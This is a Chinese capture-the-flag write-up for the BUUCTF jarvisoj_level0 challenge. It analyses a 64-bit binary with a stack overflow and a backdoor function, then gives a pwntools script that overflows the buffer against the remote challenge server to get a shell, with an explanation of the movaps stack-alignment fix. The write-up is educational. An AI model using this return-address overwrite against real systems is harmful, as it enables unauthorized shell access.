BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
菩提小狗4 小时前
每日安全情报报告 · 2026-04-06
网络安全·漏洞·cve·安全情报·每日安全
Wasim4046 小时前
【Linux】网络命令
linux·网络安全·linux网络命令·linux网络安全入门
Chockmans6 小时前
春秋云境CVE-2018-12613
安全·web安全·网络安全·春秋云境·cve-2018-12613
李白你好6 小时前
16个漏洞扫描器整合工具
网络安全
一名优秀的码农6 小时前
vulhub系列-60-The Planets: Earth(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
188号安全攻城狮7 小时前
【前端安全】Trusted Types 全维度技术指南:CSP 原生 DOM XSS 防御终极方案
前端·安全·网络安全·xss
一名优秀的码农7 小时前
vulhub系列-56-Matrix-Breakout: 2 Morpheus(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
oi..8 小时前
Linux入门(2)
linux·笔记·测试工具·安全·网络安全
CDN3608 小时前
游戏盾日志看不到攻击?日志开启与上报问题排查
游戏·网络安全·游戏引擎
一名优秀的码农9 小时前
vulhub系列-59-Web-Machine-N72(超详细)
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析